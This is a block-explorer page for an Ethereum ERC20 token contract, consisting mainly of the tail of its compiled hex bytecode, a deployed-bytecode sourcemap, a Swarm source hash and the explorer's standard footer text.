52600990820152682737ba1037bbb732b960b91b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60405181810167ffffffffffffffff8111828210171561105957611059611259565b604052919050565b600067ffffffffffffffff82111561107b5761107b611259565b5060209081020190565b600082198211156110985761109861122d565b500190565b6000826110ac576110ac611243565b500490565b80825b60018086116110c357506110ee565b8187048211156110d5576110d561122d565b808616156110e257918102915b9490941c9380026110b4565b94509492505050565b60006103c460001960ff851684600082611113575060016103c4565b81611120575060006103c4565b816001811461113657600281146111405761116d565b60019150506103c4565b60ff8411156111515761115161122d565b6001841b9150848211156111675761116761122d565b506103c4565b5060208310610133831016604e8410600b84101617156111a0575081810a8381111561119b5761119b61122d565b6103c4565b6111ad84848460016110b1565b8086048211156111bf576111bf61122d565b02949350505050565b60008160001904831182151516156111e2576111e261122d565b500290565b6000828210156111f9576111f961122d565b500390565b60006000198214156112125761121261122d565b5060010190565b60008261122857611228611243565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220fcdd777246f35d602b4c750c14f41e1b6b9896358a41970863be75f9667b5be464736f6c63430008000033

Deployed Bytecode Sourcemap

3222:6193:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4833:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7528:193;;;;;;;;;;-1:-1:-1;7528:193:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;3949:41::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5208:108::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5958:353::-;;;;;;;;;;-1:-1:-1;5958:353:0;;;;;:::i;:::-;;:::i;8750:399::-;;;;;;;;;;-1:-1:-1;8750:399:0;;;;;:::i;:::-;;:::i;:::-;;5019:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5110:90::-;;;;;;;;;;;;;:::i;5324:177::-;;;;;;;;;;-1:-1:-1;5324:177:0;;;;;:::i;:::-;;:::i;3712:29::-;;;;;;;;;;;;;:::i;2296:87::-;;;;;;;;;;;;;:::i;4924:::-;;;;;;;;;;;;;:::i;3748:30::-;;;;;;;;;;;;;:::i;5718:232::-;;;;;;;;;;-1:-1:-1;5718:232:0;;;;;:::i;:::-;;:::i;9288:87::-;;;;;;;;;;;;;:::i;5509:201::-;;;;;;;;;;-1:-1:-1;5509:201:0;;;;;:::i;:::-;;:::i;4833:83::-;4903:5;;;;;;;;;;;;-1:-1:-1;;;4903:5:0;;;;4833:83;:::o;7528:193::-;7630:4;7652:39;7661:12;:10;:12::i;:::-;7675:7;7684:6;7652:8;:39::i;:::-;-1:-1:-1;7709:4:0;7528:193;;;;;:::o;3949:41::-;;;-1:-1:-1;;;;;3949:41:0;;:::o;5208:108::-;5269:7;3567:13;3509:1;3567:2;:13;:::i;:::-;3557:23;;:7;:23;:::i;:::-;5289:19;;5208:108;:::o;5958:353::-;6090:4;6107:36;6117:6;6125:9;6136:6;6107:9;:36::i;:::-;6154:127;6177:6;6198:12;:10;:12::i;:::-;-1:-1:-1;;;;;6225:19:0;;;;;;:11;:19;;;;;:45;;6263:6;;6225:19;6245:12;:10;:12::i;:::-;-1:-1:-1;;;;;6225:33:0;;;;;;;;;;;;-1:-1:-1;6225:33:0;;;:37;:45::i;:::-;6154:8;:127::i;:::-;-1:-1:-1;6299:4:0;5958:353;;;;;;:::o;8750:399::-;8876:7;:5;:7::i;:::-;-1:-1:-1;;;;;8860:23:0;:12;:10;:12::i;:::-;-1:-1:-1;;;;;8860:23:0;;8852:32;;;;;;8899:9;8895:247;8918:2;:9;8914:1;:13;8895:247;;;8975:38;9003:6;9010:1;9003:9;;;;;;-1:-1:-1;;;9003:9:0;;;;;;;;;;;;;;;8975;:23;8985:12;:10;:12::i;8975:38::-;8949:9;:23;8959:12;:10;:12::i;:::-;-1:-1:-1;;;;;8949:23:0;-1:-1:-1;;;;;8949:23:0;;;;;;;;;;;;:64;;;;9047:31;9068:6;9075:1;9068:9;;;;;;-1:-1:-1;;;9068:9:0;;;;;;;;;;;;;;;9047;:16;9057:2;9060:1;9057:5;;;;;;-1:-1:-1;;;9057:5:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9047:16:0;-1:-1:-1;;;;;9047:16:0;;;;;;;;;;;;;:20;;:31;;;;:::i;:::-;9028:9;:16;9038:2;9041:1;9038:5;;;;;;-1:-1:-1;;;9038:5:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9028:16:0;-1:-1:-1;;;;;9028:16:0;;;;;;;;;;;;:50;;;;9113:2;9116:1;9113:5;;;;;;-1:-1:-1;;;9113:5:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9098:32:0;9107:4;-1:-1:-1;;;;;9098:32:0;;9120:6;9127:1;9120:9;;;;;;-1:-1:-1;;;9120:9:0;;;;;;;;;;;;;;;9098:32;;;;;;:::i;:::-;;;;;;;;8929:3;;;;:::i;:::-;;;;8895:247;;;;8750:399;;;:::o;5019:83::-;3509:1;5019:83;:::o;5110:90::-;5181:11;;;;5110:90;:::o;5324:177::-;-1:-1:-1;;;;;5475:18:0;;5443:7;5475:18;;;:9;:18;;;;;;5324:177;;;;:::o;3712:29::-;;;;:::o;2296:87::-;2342:7;2369:6;-1:-1:-1;;;;;2369:6:0;2296:87;:::o;4924:::-;4996:7;;;;;;;;;;;;-1:-1:-1;;;4996:7:0;;;;4924:87;:::o;3748:30::-;;;;:::o;5718:232::-;5832:4;5854:13;5870:12;:10;:12::i;:::-;5854:28;;5893:27;5903:5;5910:2;5914:5;5893:9;:27::i;9288:87::-;2255:13;:11;:13::i;:::-;9356:11:::1;::::0;;-1:-1:-1;;9341:26:0;::::1;9356:11;::::0;;::::1;9355:12;9341:26;::::0;;9288:87::o;5509:201::-;-1:-1:-1;;;;;5675:18:0;;;5643:7;5675:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5509:201::o;2530:202::-;2588:9;2614:6;2610:47;;-1:-1:-1;2644:1:0;2637:8;;2610:47;2671:5;2675:1;2671;:5;:::i;:::-;2667:9;-1:-1:-1;2703:1:0;2694:5;2698:1;2667:9;2694:5;:::i;:::-;:10;2687:18;;-1:-1:-1;;;2687:18:0;;;;;;;;2740:189;2798:7;2829:1;2825;:5;2818:13;;-1:-1:-1;;;2818:13:0;;;;;;;;;2842:9;2854:5;2858:1;2854;:5;:::i;:::-;2842:17;-1:-1:-1;2891:5:0;2895:1;2891;:5;:::i;:::-;2882;2886:1;2882;:5;:::i;:::-;:15;;;;:::i;:::-;2877:1;:20;2870:28;;-1:-1:-1;;;2870:28:0;;;;;;;;;2916:5;2920:1;2916;:5;:::i;:::-;2909:12;2740:189;-1:-1:-1;;;;2740:189:0:o;3068:147::-;3126:7;;3158:5;3162:1;3158;:5;:::i;:::-;3146:17;;3186:1;3181;:6;;3174:14;;-1:-1:-1;;;3174:14:0;;;;;;;;1981:98;2061:10;1981:98;:::o;7729:369::-;-1:-1:-1;;;;;7856:19:0;;7848:68;;;;-1:-1:-1;;;7848:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7935:21:0;;7927:68;;;;-1:-1:-1;;;7927:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8006:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8058:32;;;;;8036:6;;8058:32;:::i;:::-;;;;;;;;7729:369;;;:::o;6319:1201::-;-1:-1:-1;;;;;6442:18:0;;6434:68;;;;-1:-1:-1;;;6434:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6521:16:0;;6513:64;;;;-1:-1:-1;;;6513:64:0;;;;;;;:::i;:::-;6590:32;6605:4;6611:2;6615:6;6590:14;:32::i;:::-;6635:19;6657:15;6667:4;6657:9;:15::i;:::-;6635:37;;6720:6;6705:11;:21;;6683:109;;;;-1:-1:-1;;;6683:109:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6844:21:0;;6805:17;6844:21;;;:15;:21;;;;;;;;6843:22;:46;;;;-1:-1:-1;;;;;;6870:19:0;;;;;;:15;:19;;;;;;;;6869:20;6843:46;6839:308;;;6914:11;;;;6906:53;;;;-1:-1:-1;;;6906:53:0;;;;;;;:::i;:::-;6986:31;7013:3;6986:22;6997:10;;6986:6;:10;;:22;;;;:::i;:::-;:26;;:31::i;:::-;7042:13;;6974:43;;-1:-1:-1;;;;;;7036:19:0;;;7042:13;;7036:19;7032:104;;;7088:32;7116:3;7088:23;7099:11;;7088:6;:10;;:23;;;;:::i;:32::-;7076:44;;7032:104;7163:13;;7159:172;;7238:4;7220:24;;;;:9;:24;;;;;;:39;;7249:9;7220:28;:39::i;:::-;7211:4;7193:24;;;;:9;:24;;;;;;;:66;;;;7279:40;;-1:-1:-1;;;;;7279:40:0;;;;;;;7309:9;;7279:40;:::i;:::-;;;;;;;;7159:172;-1:-1:-1;;;;;7361:15:0;;;;;;:9;:15;;;;;;:27;;7381:6;7361:19;:27::i;:::-;-1:-1:-1;;;;;7343:15:0;;;;;;:9;:15;;;;;:45;7415:40;7433:21;:6;7444:9;7433:10;:21::i;:::-;-1:-1:-1;;;;;7415:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7399:13:0;;;;;;;:9;:13;;;;;:56;;;;7471:41;;;7490:21;:6;7501:9;7490:10;:21::i;:::-;7471:41;;;;;;:::i;:::-;;;;;;;;6319:1201;;;;;:::o;2937:123::-;2995:7;3027:1;3022;:6;;3015:14;;-1:-1:-1;;;3015:14:0;;;;;;;;;3047:5;3051:1;3047;:5;:::i;2391:108::-;2465:12;:10;:12::i;:::-;2455:6;;-1:-1:-1;;;;;2455:6:0;;;:22;;;2447:44;;;;-1:-1:-1;;;2447:44:0;;;;;;;:::i;:::-;2391:108::o;8442:300::-;8588:13;;-1:-1:-1;;;;;8574:28:0;;;8588:13;;8574:28;;:89;;-1:-1:-1;;;;;;8606:57:0;;8620:42;8606:57;8574:89;8570:135;;;8680:13;8688:4;8680:7;:13::i;:::-;8732:1;8723:6;:10;8715:19;;;;;;8442:300;;;:::o;8188:246::-;-1:-1:-1;;;;;8246:19:0;;;;;;:15;:19;;;;;;;;8242:58;;;8282:7;;8242:58;8315:11;;;;8310:117;;8343:20;8352:10;;8343:8;:20::i;:::-;8310:117;;;8396:19;8405:9;;8396:8;:19::i;:::-;8188:246;:::o;9157:123::-;9232:4;9218:11;:18;9214:59;;;9253:8;;;14:175:1;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:705;;307:3;300:4;292:6;288:17;284:27;274:2;;329:5;322;315:20;274:2;369:6;356:20;395:4;419:65;434:49;480:2;434:49;:::i;:::-;419:65;:::i;:::-;518:15;;;549:12;;;;581:15;;;627:11;;;615:24;;611:33;;608:42;-1:-1:-1;605:2:1;;;667:5;660;653:20;605:2;693:5;707:163;721:2;718:1;715:9;707:163;;;778:17;;766:30;;816:12;;;;848;;;;739:1;732:9;707:163;;;-1:-1:-1;888:5:1;;264:635;-1:-1:-1;;;;;;;264:635:1:o;904:198::-;;1016:2;1004:9;995:7;991:23;987:32;984:2;;;1037:6;1029;1022:22;984:2;1065:31;1086:9;1065:31;:::i;1107:274::-;;;1236:2;1224:9;1215:7;1211:23;1207:32;1204:2;;;1257:6;1249;1242:22;1204:2;1285:31;1306:9;1285:31;:::i;:::-;1275:41;;1335:40;1371:2;1360:9;1356:18;1335:40;:::i;:::-;1325:50;;1194:187;;;;;:::o;1386:342::-;;;;1532:2;1520:9;1511:7;1507:23;1503:32;1500:2;;;1553:6;1545;1538:22;1500:2;1581:31;1602:9;1581:31;:::i;:::-;1571:41;;1631:40;1667:2;1656:9;1652:18;1631:40;:::i;:::-;1621:50;;1718:2;1707:9;1703:18;1690:32;1680:42;;1490:238;;;;;:::o;1733:1300::-;;;;1929:2;1917:9;1908:7;1904:23;1900:32;1897:2;;;1950:6;1942;1935:22;1897:2;1978:31;1999:9;1978:31;:::i;:::-;1968:41;;2028:2;2081;2070:9;2066:18;2053:32;2104:18;2145:2;2137:6;2134:14;2131:2;;;2166:6;2158;2151:22;2131:2;2209:6;2198:9;2194:22;2184:32;;2254:7;2247:4;2243:2;2239:13;2235:27;2225:2;;2281:6;2273;2266:22;2225:2;2322;2309:16;2345:65;2360:49;2406:2;2360:49;:::i;2345:65::-;2444:15;;;2475:12;;;;2507:11;;;2545;;;2537:20;;2533:29;;2530:42;-1:-1:-1;2527:2:1;;;2590:6;2582;2575:22;2527:2;2617:6;2608:15;;2632:171;2646:2;2643:1;2640:9;2632:171;;;2703:25;2724:3;2703:25;:::i;:::-;2691:38;;2664:1;2657:9;;;;;2749:12;;;;2781;;2632:171;;;-1:-1:-1;2822:5:1;-1:-1:-1;;;2880:2:1;2865:18;;2852:32;;-1:-1:-1;2896:16:1;;;2893:2;;;2930:6;2922;2915:22;2893:2;;;2958:69;3019:7;3008:8;2997:9;2993:24;2958:69;:::i;:::-;2948:79;;;1887:1146;;;;;:::o;3038:266::-;;;3167:2;3155:9;3146:7;3142:23;3138:32;3135:2;;;3188:6;3180;3173:22;3135:2;3216:31;3237:9;3216:31;:::i;:::-;3206:41;3294:2;3279:18;;;;3266:32;;-1:-1:-1;;;3125:179:1:o;3309:203::-;-1:-1:-1;;;;;3473:32:1;;;;3455:51;;3443:2;3428:18;;3410:102::o;3517:187::-;3682:14;;3675:22;3657:41;;3645:2;3630:18;;3612:92::o;3943:603::-;;4084:2;4113;4102:9;4095:21;4145:6;4139:13;4188:6;4183:2;4172:9;4168:18;4161:34;4213:4;4226:140;4240:6;4237:1;4234:13;4226:140;;;4335:14;;;4331:23;;4325:30;4301:17;;;4320:2;4297:26;4290:66;4255:10;;4226:140;;;4384:6;4381:1;4378:13;4375:2;;;4454:4;4449:2;4440:6;4429:9;4425:22;4421:31;4414:45;4375:2;-1:-1:-1;4530:2:1;4509:15;-1:-1:-1;;4505:29:1;4490:45;;;;4537:2;4486:54;;4064:482;-1:-1:-1;;;4064:482:1:o;4551:399::-;4753:2;4735:21;;;4792:2;4772:18;;;4765:30;4831:34;4826:2;4811:18;;4804:62;-1:-1:-1;;;4897:2:1;4882:18;;4875:33;4940:3;4925:19;;4725:225::o;4955:398::-;5157:2;5139:21;;;5196:2;5176:18;;;5169:30;5235:34;5230:2;5215:18;;5208:62;-1:-1:-1;;;5301:2:1;5286:18;;5279:32;5343:3;5328:19;;5129:224::o;5358:402::-;5560:2;5542:21;;;5599:2;5579:18;;;5572:30;5638:34;5633:2;5618:18;;5611:62;-1:-1:-1;;;5704:2:1;5689:18;;5682:36;5750:3;5735:19;;5532:228::o;5765:353::-;5967:2;5949:21;;;6006:2;5986:18;;;5979:30;6045:31;6040:2;6025:18;;6018:59;6109:2;6094:18;;5939:179::o;6123:401::-;6325:2;6307:21;;;6364:2;6344:18;;;6337:30;6403:34;6398:2;6383:18;;6376:62;-1:-1:-1;;;6469:2:1;6454:18;;6447:35;6514:3;6499:19;;6297:227::o;6529:332::-;6731:2;6713:21;;;6770:1;6750:18;;;6743:29;-1:-1:-1;;;6803:2:1;6788:18;;6781:39;6852:2;6837:18;;6703:158::o;6866:400::-;7068:2;7050:21;;;7107:2;7087:18;;;7080:30;7146:34;7141:2;7126:18;;7119:62;-1:-1:-1;;;7212:2:1;7197:18;;7190:34;7256:3;7241:19;;7040:226::o;7271:177::-;7417:25;;;7405:2;7390:18;;7372:76::o;7453:184::-;7625:4;7613:17;;;;7595:36;;7583:2;7568:18;;7550:87::o;7642:251::-;7712:2;7706:9;7742:17;;;7789:18;7774:34;;7810:22;;;7771:62;7768:2;;;7836:18;;:::i;:::-;7872:2;7865:22;7686:207;;-1:-1:-1;7686:207:1:o;7898:192::-;;7997:18;7989:6;7986:30;7983:2;;;8019:18;;:::i;:::-;-1:-1:-1;8079:4:1;8060:17;;;8056:28;;7973:117::o;8095:128::-;;8166:1;8162:6;8159:1;8156:13;8153:2;;;8172:18;;:::i;:::-;-1:-1:-1;8208:9:1;;8143:80::o;8228:120::-;;8294:1;8284:2;;8299:18;;:::i;:::-;-1:-1:-1;8333:9:1;;8274:74::o;8353:453::-;8449:6;8472:5;8486:314;8535:1;8572:2;8562:8;8559:16;8549:2;;8579:5;;;8549:2;8620:4;8615:3;8611:14;8605:4;8602:24;8599:2;;;8629:18;;:::i;:::-;8679:2;8669:8;8665:17;8662:2;;;8694:16;;;;8662:2;8773:17;;;;;8733:15;;8486:314;;;8430:376;;;;;;;:::o;8811:148::-;;8898:55;-1:-1:-1;;8939:4:1;8925:19;;8919:4;8964:922;9048:8;9038:2;;-1:-1:-1;9089:1:1;9103:5;;9038:2;9137:4;9127:2;;-1:-1:-1;9174:1:1;9188:5;;9127:2;9219:4;9237:1;9232:59;;;;9305:1;9300:183;;;;9212:271;;9232:59;9262:1;9253:10;;9276:5;;;9300:183;9337:3;9327:8;9324:17;9321:2;;;9344:18;;:::i;:::-;9400:1;9390:8;9386:16;9377:25;;9428:3;9421:5;9418:14;9415:2;;;9435:18;;:::i;:::-;9468:5;;;9212:271;;9567:2;9557:8;9554:16;9548:3;9542:4;9539:13;9535:36;9529:2;9519:8;9516:16;9511:2;9505:4;9502:12;9498:35;9495:77;9492:2;;;-1:-1:-1;9604:19:1;;;9639:14;;;9636:2;;;9656:18;;:::i;:::-;9689:5;;9492:2;9736:42;9774:3;9764:8;9758:4;9755:1;9736:42;:::i;:::-;9811:6;9806:3;9802:16;9793:7;9790:29;9787:2;;;9822:18;;:::i;:::-;9860:20;;9028:858;-1:-1:-1;;;;9028:858:1:o;9891:168::-;;9997:1;9993;9989:6;9985:14;9982:1;9979:21;9974:1;9967:9;9960:17;9956:45;9953:2;;;10004:18;;:::i;:::-;-1:-1:-1;10044:9:1;;9943:116::o;10064:125::-;;10132:1;10129;10126:8;10123:2;;;10137:18;;:::i;:::-;-1:-1:-1;10174:9:1;;10113:76::o;10194:135::-;;-1:-1:-1;;10254:17:1;;10251:2;;;10274:18;;:::i;:::-;-1:-1:-1;10321:1:1;10310:13;;10241:88::o;10334:112::-;;10392:1;10382:2;;10397:18;;:::i;:::-;-1:-1:-1;10431:9:1;;10372:74::o;10451:127::-;10512:10;10507:3;10503:20;10500:1;10493:31;10543:4;10540:1;10533:15;10567:4;10564:1;10557:15;10583:127;10644:10;10639:3;10635:20;10632:1;10625:31;10675:4;10672:1;10665:15;10699:4;10696:1;10689:15;10715:127;10776:10;10771:3;10767:20;10764:1;10757:31;10807:4;10804:1;10797:15;10831:4;10828:1;10821:15

Swarm Source

ipfs://fcdd777246f35d602b4c750c14f41e1b6b9896358a41970863be75f9667b5be4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.